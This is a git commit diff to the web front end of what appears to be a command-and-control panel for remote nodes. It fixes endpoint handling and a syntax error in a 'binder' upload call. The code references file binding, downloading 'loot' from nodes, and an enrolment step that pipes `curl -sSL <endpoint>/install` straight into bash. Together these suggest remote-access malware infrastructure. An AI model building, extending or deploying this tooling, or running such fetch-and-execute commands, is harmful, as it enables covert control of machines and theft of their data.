v2: live console (SSE+fast-poll), scheduled tasks, tag-group commands, CPU sparklines, dead-node alerts

This commit is contained in:
hermes
2026-09-23 19:40:36 +00:00
parent e3e5865419
commit 33dd524196
21 changed files with 9291 additions and 12 deletions

View File

@@ -88,7 +88,7 @@ document.addEventListener('DOMContentLoaded', () => {
});
function updateServerEndpoint() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const endpoint = publicUrl || window.location.origin;
const placeholders = document.querySelectorAll('.server-url-placeholder');
placeholders.forEach(el => el.textContent = endpoint);
document.getElementById('navServerEndpoint').textContent = endpoint;
@@ -772,7 +772,7 @@ async function submitBinder() {
try {
const format = document.getElementById("binderFormat").value;
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } });
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);
@@ -1010,7 +1010,7 @@ function lootDownload(id, filename) {
// ── Empty state hero ──
function renderEmptyHero() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const endpoint = publicUrl || window.location.origin;
const cmd = `curl -sSL ${endpoint}/install | bash`;
return '<div class="empty-hero">' +
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +